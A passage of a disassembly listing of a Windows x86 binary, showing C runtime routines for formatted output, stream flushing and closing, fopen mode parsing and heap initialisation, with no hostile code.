		mov	[ebp+var_C], eax
		jz	short loc_418356
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418349
		test	eax, eax
		jnz	short loc_418356


loc_418349:				; CODE XREF: sub_417D4C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_418353:				; CODE XREF: sub_417D4C+35Fj
					; sub_417D4C+406j ...
		mov	[ebp+var_C], eax


loc_418356:				; CODE XREF: sub_417D4C+21Bj
					; sub_417D4C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418454	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41838E
		test	bh, 1
		jz	short loc_418373
		mov	[ebp+var_16], 2Dh
		jmp	short loc_418387
; ---------------------------------------------------------------------------


loc_418373:				; CODE XREF: sub_417D4C+61Fj
		test	bl, 1
		jz	short loc_41837E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_418387
; ---------------------------------------------------------------------------


loc_41837E:				; CODE XREF: sub_417D4C+62Aj
		test	bl, 2
		jz	short loc_41838E
		mov	[ebp+var_16], 20h


loc_418387:				; CODE XREF: sub_417D4C+625j
					; sub_417D4C+630j
		mov	[ebp+var_1C], 1


loc_41838E:				; CODE XREF: sub_417D4C+61Aj
					; sub_417D4C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4183AE
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184C2
		add	esp, 10h


loc_4183AE:				; CODE XREF: sub_417D4C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4184F3
		add	esp, 10h
		test	bl, 8
		jz	short loc_4183E0
		test	bl, 4
		jnz	short loc_4183E0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4184C2
		add	esp, 10h


loc_4183E0:				; CODE XREF: sub_417D4C+67Bj
					; sub_417D4C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418427
		cmp	[ebp+var_C], 0
		jle	short loc_418427
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4183F5:				; CODE XREF: sub_417D4C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41D18F
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41843C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4184F3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4183F5
		jmp	short loc_41843C
; ---------------------------------------------------------------------------


loc_418427:				; CODE XREF: sub_417D4C+698j
					; sub_417D4C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4184F3
		add	esp, 10h


loc_41843C:				; CODE XREF: sub_417D4C+6BCj
					; sub_417D4C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418454 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184C2
		add	esp, 10h


loc_418454:				; CODE XREF: sub_417D4C+68j
					; sub_417D4C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417D78


loc_418465:				; CODE XREF: sub_417D4C+1Fj
					; sub_417D4C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D4C	endp

; ---------------------------------------------------------------------------
off_41846D	dd offset loc_417EEB	; DATA XREF: sub_417D4C+6Er
		dd offset loc_417DC1	; jump table for switch	statement
		dd offset loc_417DDC
		dd offset loc_417E28
		dd offset loc_417E5F
		dd offset loc_417E67
		dd offset loc_417E9C
		dd offset loc_417F2F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41848D	proc near		; CODE XREF: sub_417D4C+1BDp
					; sub_417D4C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4184A6
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4184B1
; ---------------------------------------------------------------------------


loc_4184A6:				; CODE XREF: sub_41848D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417C37
		pop	ecx
		pop	ecx


loc_4184B1:				; CODE XREF: sub_41848D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4184BE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4184BE:				; CODE XREF: sub_41848D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41848D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184C2	proc near		; CODE XREF: sub_417D4C+65Ap
					; sub_417D4C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4184F0
		mov	esi, [esp+8+arg_C]


loc_4184D3:				; CODE XREF: sub_4184C2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41848D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4184F0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4184D3


loc_4184F0:				; CODE XREF: sub_4184C2+Bj
					; sub_4184C2+25j
		pop	edi
		pop	esi
		retn
sub_4184C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184F3	proc near		; CODE XREF: sub_417D4C+670p
					; sub_417D4C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418527
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_418509:				; CODE XREF: sub_4184F3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41848D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418527
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_418509


loc_418527:				; CODE XREF: sub_4184F3+Cj
					; sub_4184F3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4184F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41852B	proc near		; CODE XREF: sub_417D4C+E5p
					; sub_417D4C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41852B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418538	proc near		; CODE XREF: sub_417D4C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418538	endp


; =============== S U B	R O U T	I N E =======================================



sub_418548	proc near		; CODE XREF: sub_417D4C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418556	proc near		; CODE XREF: sub_4159D4+17p
					; sub_4159D4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418574
		mov	ecx, ds:off_437D60
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4185C6
; ---------------------------------------------------------------------------


loc_418574:				; CODE XREF: sub_418556+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_437D60
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_418599
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_418599:				; CODE XREF: sub_418556+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4185A2:				; CODE XREF: sub_418556+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_41D1F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4185C2
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185C2:				; CODE XREF: sub_418556+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4185C6:				; CODE XREF: sub_418556+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418556	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185CB	proc near		; CODE XREF: sub_415B40+2Ap
					; sub_41D55A+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_46A8A0
		jnb	loc_418665
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418665
		push	edi
		call	sub_41D4C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418644
		cmp	edi, 1
		jz	short loc_418612
		cmp	edi, 2
		jnz	short loc_418628


loc_418612:				; CODE XREF: sub_4185CB+40j
		push	2
		call	sub_41D4C6
		push	1
		mov	ebp, eax
		call	sub_41D4C6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418644


loc_418628:				; CODE XREF: sub_4185CB+45j
		push	edi
		call	sub_41D4C6
		pop	ecx
		push	eax
		call	ds:dword_42106C	; CloseHandle
		test	eax, eax
		jnz	short loc_418644
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_418646
; ---------------------------------------------------------------------------


loc_418644:				; CODE XREF: sub_4185CB+3Bj
					; sub_4185CB+5Bj ...
		xor	ebp, ebp


loc_418646:				; CODE XREF: sub_4185CB+77j
		push	edi
		call	sub_41D44C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_418661
		push	ebp
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_418676
; ---------------------------------------------------------------------------


loc_418661:				; CODE XREF: sub_4185CB+8Bj
		xor	eax, eax
		jmp	short loc_418679
; ---------------------------------------------------------------------------


loc_418665:				; CODE XREF: sub_4185CB+Ej
					; sub_4185CB+2Fj
		and	ds:dword_469488, 0
		mov	ds:dword_469484, 9


loc_418676:				; CODE XREF: sub_4185CB+94j
		or	eax, 0FFFFFFFFh


loc_418679:				; CODE XREF: sub_4185CB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4185CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41867E	proc near		; CODE XREF: sub_415B40+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4186A7
		test	al, 8
		jz	short loc_4186A7
		push	dword ptr [esi+8]
		call	sub_415E3D
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_4186A7:				; CODE XREF: sub_41867E+Aj
					; sub_41867E+Ej
		pop	esi
		retn
sub_41867E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186A9	proc near		; CODE XREF: sub_418749+2Dp
					; sub_418749+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4186BB
		push	esi
		call	sub_418749
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186BB:				; CODE XREF: sub_4186A9+7j
		push	esi
		call	sub_4186E4
		test	eax, eax
		pop	ecx
		jz	short loc_4186CB
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186CB:				; CODE XREF: sub_4186A9+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4186E0
		push	dword ptr [esi+10h]
		call	sub_41D503
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186E0:				; CODE XREF: sub_4186A9+26j
		xor	eax, eax
		pop	esi
		retn
sub_4186A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186E4	proc near		; CODE XREF: sub_415B40+1Ap
					; sub_416E3E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_418731
		test	ax, 108h
		jz	short loc_418731
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418731
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41872A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_418731
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_418731
; ---------------------------------------------------------------------------


loc_41872A:				; CODE XREF: sub_4186E4+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_418731:				; CODE XREF: sub_4186E4+14j
					; sub_4186E4+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4186E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418740	proc near		; CODE XREF: sub_41D17Bp
		push	1
		call	sub_418749
		pop	ecx
		retn
sub_418740	endp


; =============== S U B	R O U T	I N E =======================================



sub_418749	proc near		; CODE XREF: sub_4186A9+Ap
					; sub_418740+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_46A780, esi
		jle	short loc_4187A7


loc_41875A:				; CODE XREF: sub_418749+5Cj
		mov	eax, ds:dword_469770
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41879E
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41879E
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_418784
		push	eax
		call	sub_4186A9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41879E
		inc	ebx
		jmp	short loc_41879E
; ---------------------------------------------------------------------------


loc_418784:				; CODE XREF: sub_418749+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41879E
		test	cl, 2
		jz	short loc_41879E
		push	eax
		call	sub_4186A9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41879E
		or	edi, eax


loc_41879E:				; CODE XREF: sub_418749+1Bj
					; sub_418749+23j ...
		inc	esi
		cmp	esi, ds:dword_46A780
		jl	short loc_41875A


loc_4187A7:				; CODE XREF: sub_418749+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4187B2
		mov	eax, edi


loc_4187B2:				; CODE XREF: sub_418749+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187B6	proc near		; CODE XREF: sub_415B96+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D0B0
		test	eax, eax
		pop	ecx
		jz	short loc_41883F
		cmp	esi, offset dword_438478
		jnz	short loc_4187D4
		xor	eax, eax
		jmp	short loc_4187DF
; ---------------------------------------------------------------------------


loc_4187D4:				; CODE XREF: sub_4187B6+18j
		cmp	esi, offset dword_438498
		jnz	short loc_41883F
		push	1
		pop	eax


loc_4187DF:				; CODE XREF: sub_4187B6+1Cj
		inc	ds:dword_469644
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41883F
		cmp	ds:dword_4694DC[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:4694DCh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418825
		push	ebx
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418825
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418832
; ---------------------------------------------------------------------------


loc_418825:				; CODE XREF: sub_4187B6+4Dj
					; sub_4187B6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_418832:				; CODE XREF: sub_4187B6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41883F:				; CODE XREF: sub_4187B6+10j
					; sub_4187B6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4187B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418843	proc near		; CODE XREF: sub_415B96+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41886D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41887E
		push	esi
		call	sub_4186E4
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41886D:				; CODE XREF: sub_418843+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41887E
		push	eax
		call	sub_4186E4
		pop	ecx


loc_41887E:				; CODE XREF: sub_418843+10j
					; sub_418843+32j
		pop	esi
		retn
sub_418843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418880	proc near		; CODE XREF: sub_415BC8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_46964C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_4188B9
		cmp	al, 72h
		jz	short loc_4188B2
		cmp	al, 77h
		jnz	loc_4189CD
		mov	ecx, 301h
		jmp	short loc_4188BE
; ---------------------------------------------------------------------------


loc_4188B2:				; CODE XREF: sub_418880+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4188C1
; ---------------------------------------------------------------------------


loc_4188B9:				; CODE XREF: sub_418880+1Dj
		mov	ecx, 109h


loc_4188BE:				; CODE XREF: sub_418880+30j
		or	esi, 2


loc_4188C1:				; CODE XREF: sub_418880+37j
		push	1
		pop	edx


loc_4188C4:				; CODE XREF: sub_418880+8Bj
					; sub_418880+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_4189B3
		cmp	edx, ebx
		jz	loc_4189B3
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418952
		jz	short loc_418942
		sub	eax, 2Bh
		jz	short loc_41892C
		sub	eax, 19h
		jz	short loc_418922
		sub	eax, 0Eh
		jz	short loc_41890D
		dec	eax
		jnz	loc_4189A4
		cmp	[ebp+var_4], ebx
		jnz	loc_4189A4
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------


loc_41890D:				; CODE XREF: sub_418880+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_4189A4
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------


loc_418922:				; CODE XREF: sub_418880+6Aj
		test	cl, 40h
		jnz	short loc_4189A4
		or	ecx, 40h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------


loc_41892C:				; CODE XREF: sub_418880+65j
		test	cl, 2
		jnz	short loc_4189A4
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------


loc_418942:				; CODE XREF: sub_418880+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_4189A4
		or	ecx, eax
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_418952:				; CODE XREF: sub_418880+5Ej
		sub	eax, 62h
		jz	short loc_41899F
		dec	eax
		jz	short loc_418988
		sub	eax, 0Bh
		jz	short loc_418971
		sub	eax, 6
		jnz	short loc_4189A4
		test	ch, 0C0h
		jnz	short loc_4189A4
		or	ch, 40h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_418971:				; CODE XREF: sub_418880+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189A4
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_418988:				; CODE XREF: sub_418880+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189A4
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_41899F:				; CODE XREF: sub_418880+D5j
		test	ch, 0C0h
		jz	short loc_4189AB


loc_4189A4:				; CODE XREF: sub_418880+72j
					; sub_418880+7Bj ...
		xor	edx, edx
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_4189AB:				; CODE XREF: sub_418880+122j
		or	ch, 80h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_4189B3:				; CODE XREF: sub_418880+4Aj
					; sub_418880+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41D55A
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4189D1


loc_4189CD:				; CODE XREF: sub_418880+25j
		xor	eax, eax
		jmp	short loc_4189EB
; ---------------------------------------------------------------------------


loc_4189D1:				; CODE XREF: sub_418880+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_469644
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_4189EB:				; CODE XREF: sub_418880+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418880	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_415BC8p
		mov	edx, ds:dword_46A780
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418A61
		mov	ebx, ds:dword_469770
		mov	edi, ebx


loc_418A0C:				; CODE XREF: sub_4189F0+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418A27
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418A22
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_418A0C
		jmp	short loc_418A61
; ---------------------------------------------------------------------------


loc_418A22:				; CODE XREF: sub_4189F0+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418A4B
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_4189F0+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415DC9
		pop	ecx
		mov	ecx, ds:dword_469770
		mov	[edi+ecx], eax
		mov	eax, ds:dword_469770
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418A61
		mov	esi, edi


loc_418A4B:				; CODE XREF: sub_4189F0+35j
		cmp	esi, ebp
		jz	short loc_418A61
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_418A61:				; CODE XREF: sub_4189F0+12j
					; sub_4189F0+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4189F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A68	proc near		; CODE XREF: sub_415DDB+1Fp
					; sub_4174DF+106p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4694E8
		test	eax, eax
		jz	short loc_418A80
		push	[esp+arg_0]
		call	eax ; dword_4694E8
		test	eax, eax
		pop	ecx
		jz	short loc_418A80
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418A80:				; CODE XREF: sub_418A68+7j
					; sub_418A68+12j
		xor	eax, eax
		retn
sub_418A68	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A83	proc near		; CODE XREF: seg000:00417B52p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_421174	; HeapCreate
		test	eax, eax
		mov	ds:dword_46AAE0, eax
		jz	short loc_418AB8
		call	sub_418ABF
		test	eax, eax
		jnz	short loc_418ABB
		push	ds:dword_46AAE0
		call	ds:dword_421170	; HeapDestroy


loc_418AB8:				; CODE XREF: sub_418A83+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418ABB:				; CODE XREF: sub_418A83+27j
		push	1
		pop	eax
		retn
sub_418A83	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ABF	proc near		; CODE XREF: sub_418A83+20p
		push	140h
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_42114C	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_46AADC, eax
		jnz	short loc_418ADC
		retn
; ---------------------------------------------------------------------------


loc_418ADC:				; CODE XREF: sub_418ABF+1Aj
		and	ds:dword_46AAD4, 0
		and	ds:dword_46AAD8, 0
		push	1
		mov	ds:dword_46AAD0, eax
		mov	ds:dword_46AAC8, 10h
		pop	eax
		retn
sub_418ABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AFD	proc near		; CODE XREF: sub_415E3D+Ap
					; sub_4174DF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_46AAD8
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_46AADC
		lea	ecx, [eax+ecx*4]


loc_418B0D:				; CODE XREF: sub_418AFD+26j
		cmp	eax, ecx
		jnb	short loc_418B25
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418B27
		add	eax, 14h
		jmp	short loc_418B0D
; ---------------------------------------------------------------------------


loc_418B25:				; CODE XREF: sub_418AFD+12j
		xor	eax, eax

locret_418B27:				; CODE XREF: sub_418AFD+21j
		retn
sub_418AFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B28	proc near		; CODE XREF: sub_415E3D+16p
					; sub_4174DF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_418BEE
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_418B80
		mov	[ebp+arg_4], edi


